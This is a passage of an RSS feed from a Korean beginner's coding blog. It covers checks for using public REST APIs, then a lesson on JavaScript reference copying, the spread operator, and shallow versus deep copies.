<p>오픈 API를 잘 활용하면, 백엔드 없이도 서비스를 만드는것이 가능하다! 참고로 open-api는 대부분 <strong>rest api</strong>다. </p>
<br/>

<blockquote>
<p><strong>무료 api 사이트 모음</strong>
<strong><a href="https://github.com/public-apis/public-apis">https://github.com/public-apis/public-apis</a></strong></p>
</blockquote>
<h4 id="사이트에서-api를-이용할-때-체크해야-할-것들">사이트에서 api를 이용할 때 체크해야 할 것들!</h4>
<ul>
<li><strong>auth</strong>: 인증 필요한가? 회원가입 해야 하는지 여부. </li>
<li><strong>HTTPS</strong>: 보안이 강화되어 있는 api 인지? axios.get(https://~). no 라고 되어있는 것은 http로 사용</li>
<li><strong>CORS</strong>: no는 보안 관련 설정 복잡한 편. yes를 사용해서 연습하자.</li>
</ul>
<p>useQuery를 사용하면 훨씬 효율적. 캐싱이 된다는 장점도 있다. axios는 캐싱이 되지 않는다. </p>
]]></description>
        </item>
        <item>
            <title><![CDATA[✍🏻 [Code Camp_TIL] 15일차: 데이터 복사, 스프레드 연산자]]></title>
            <link>https://velog.io/@code_june/Code-CampTIL-15%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@code_june/Code-CampTIL-15%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Sun, 16 Apr 2023 13:34:38 GMT</pubDate>
            <description><![CDATA[<h2 id="데이터-복사">데이터 복사</h2>
<br/>

<p>자바스크립트에서 데이터를 <strong>복사</strong>하는 방법은 다음과 같다.</p>
<pre><code class="language-javascript">let aaa = &quot;철수&quot;
let bbb = aaa

console.log(aaa) // 철수
console.log(bbb) // 철수</code></pre>
<br/>

<p>여기서 복사본인 bbb의 값을 <strong>재할당</strong>하면, 원본인 aaa의 값은 변하지 않고, bbb의 값만 바뀌는 것을 알 수 있다. </p>
<pre><code class="language-javascript">bbb = &quot;영희&quot;

console.log(aaa) // 철수
console.log(bbb) // 영희</code></pre>
<br/>

<p>하지만 <strong>객체</strong>와 <strong>배열</strong>은 복사본을 바꾸면 원본이 바뀐다.</p>
<pre><code class="language-javascript">let child1 = {
    name: &quot;철수&quot;,
    age: 8,
    school: &quot;다람쥐초등학교&quot;
}
let child2 = child1

child2 // {name: &#39;철수&#39;, age: 8, school: &#39;다람쥐초등학교&#39;}

// 데이터 재할당
child2.name = &quot;영희&quot;

child1 // {name: &#39;영희&#39;, age: 8, school: &#39;다람쥐초등학교&#39;}
child2 // {name: &#39;영희&#39;, age: 8, school: &#39;다람쥐초등학교&#39;}</code></pre>
<br/>

<p><strong>객체와 배열</strong>은 문자열, 숫자, boolean 값과는 다르게 변수에 값을 할당하면 값 자체가 아닌, 값을 담고 있는 <code>주소</code>가 저장된다는 특성이 있다!</p>
<p><img src="https://velog.velcdn.com/images/code_june/post/62bdd809-aed8-4d6d-b6f6-e0756e74e3b4/image.png" alt=""></p>
<p>원본과 복사본이 각각 같은 <code>주소</code>를 가리키고 있기 때문에, child2의 값을 변경하면 child1의 값도 같이 변경되는 것이다.</p>
<p><img src="https://velog.velcdn.com/images/code_june/post/5ac26912-03b7-45a4-820e-1ba0e0e3cb7d/image.png" alt=""></p>
<br/>

<p>그렇다면 어떻게 객체와 배열을 <strong>복사</strong>할 수 있을까? 사실 객체를 복사한다는 개념은 존재하지 않는다. 원본 객체와 같은 값을 가진 <strong>객체</strong>를 새로 만들 수 있을 뿐이다!</p>
<pre><code class="language-javascript">// child3에 child2 복사
let child3 = {
    name: child2.name,
    age: child2.age,
    school: child2.school
}

child3 // {name: &#39;영희&#39;, age: 8, school: &#39;다람쥐초등학교&#39;}

// child3의 name 변경
child3.name = &quot;훈이&quot;

child3 // {name: &#39;훈이&#39;, age: 8, school: &#39;다람쥐초등학교&#39;}
child2 // {name: &#39;영희&#39;, age: 8, school: &#39;다람쥐초등학교&#39;}</code></pre>
<p>위와 같이 child2와 같은 값을 가지는 <strong>child3</strong>이라는 객체를 새로 만들고, child3의 값을 변경하면, child2와 child3은 각각 다른 <strong>주소</strong>를 갖고 있기 때문에 <code>복사</code>가 가능하게 되는 것이다.</p>
<br/>

<h2 id="스프레드-연산자">스프레드 연산자</h2>
<br/>

<p>위에서 child2를 복사하여 child3을 만들 때처럼 원본 child2의 모든 값을 따로따로 가져오는 것은 번거로운 과정이다. 객체에 데이터가 많을수록 그럴 것이다. 이럴 때 사용할 수 있는 것이 <code>스프레드 연산자</code>이다. 스프레드 연산자는 다음과 같이 써줄 수 있다.</p>
<pre><code class="language-javascript">let child3 = {
  name: child2.name,
  age: child2.age,
  school: child2.school
}

// 스프레드 연산자 사용!
let child3 = {...child2}</code></pre>
<br/>

<h4 id="스프레드-연산자를-사용해서-객체를-복사하면-복사본의-값을-변경해도-원본의-값이-바뀌지-않는다">스프레드 연산자를 사용해서 객체를 복사하면, 복사본의 값을 변경해도 원본의 값이 바뀌지 않는다!</h4>
<pre><code class="language-javascript">let child4 = {
    ...child2
}

child4 // {name: &#39;영희&#39;, age: 8, school: &#39;다람쥐초등학교&#39;}</code></pre>
<p>즉 child4의 값을 변경해도 child2의 값은 변경되지 않는다.</p>
<br/>

<p>profile2라는 객체를 복사해서 profile1의 name 값을 변경해주었더니, profile1의 name만 바뀌고, profile2의 name은 그대로이다.</p>
<pre><code class="language-javascript">let profile1 = {
    name: &quot;철수&quot;,
    age: 8,
    school: &quot;공룡초등학교&quot;,
    hobby: {
        first: &quot;수영&quot;,
        second: &quot;프로그래밍&quot;
    }
}

let profile2 = {
    ...profile1
}

profile1.name = &quot;영희&quot;

profile1 
// {name: &#39;영희&#39;, age: 8, school: &#39;공룡초등학교&#39;, hobby: {…}}
profile2 
// {name: &#39;철수&#39;, age: 8, school: &#39;공룡초등학교&#39;, hobby: {…}}</code></pre>
<br/>

<h4 id="그렇다면-객체-안에-객체가-있는-경우중첩-객체-복사가-잘-이루어질까">그렇다면 객체 안에 객체가 있는 경우(중첩 객체) 복사가 잘 이루어질까?</h4>
<p>영희의 첫 번째 취미를 <strong>축구</strong>로 바꿔보자.</p>
<pre><code class="language-javascript">profile1.hobby.first = &quot;축구&quot;

profile1
// {name: &quot;영희&quot;, age: 8, school: &quot;공룡초등학교&quot;, 
// hobby: {
//   first: &quot;축구&quot;, second: &quot;프로그래밍&quot;}
// }

profile2
// {name: &quot;철수&quot;, age: 8, school: &quot;공룡초등학교&quot;,
//    hobby: {
//        first: &quot;축구&quot;,
//        second: &quot;프로그래밍&quot;
//    }
// }</code></pre>
<p>분명 영희의 첫 번째 취미만 변경했는데 철수의 첫 번째 취미까지 바뀌어버렸다. <strong>hobby</strong>라는 객체도 <strong>주소</strong>로 값이 저장된다. profile1의 hobby 객체와 profile2의 hobby 객체는 같은 <strong>주소</strong>를 가지고 있기 때문에 값을 바꾸면 같이 바뀌어버린다. </p>
<p>이처럼 <strong>스프레드 연산자</strong>를 이용한 복사는 <span style="color:red"><strong>얕은 복사(Shallow-Copy)</strong></span>라고 한다. </p>
<br/>

<h3 id="span-stylecolorred깊은-복사span"><span style="color:red">깊은 복사</span></h3>
<p>그렇다면 스프레드 연산자로 복사해주지 못하는 부분까지 복사하려면 어떻게 해야할까? 객체나 배열을 <code>JSON.stringify</code>를 사용해서 문자열로 만들어준 후에, 다시 <code>JSON.parse</code>를 사용해서 객체 형태로 만들어주면 된다! </p>
<br/>

<hr>
]]></description>
        </item>
    </channel>
</rss>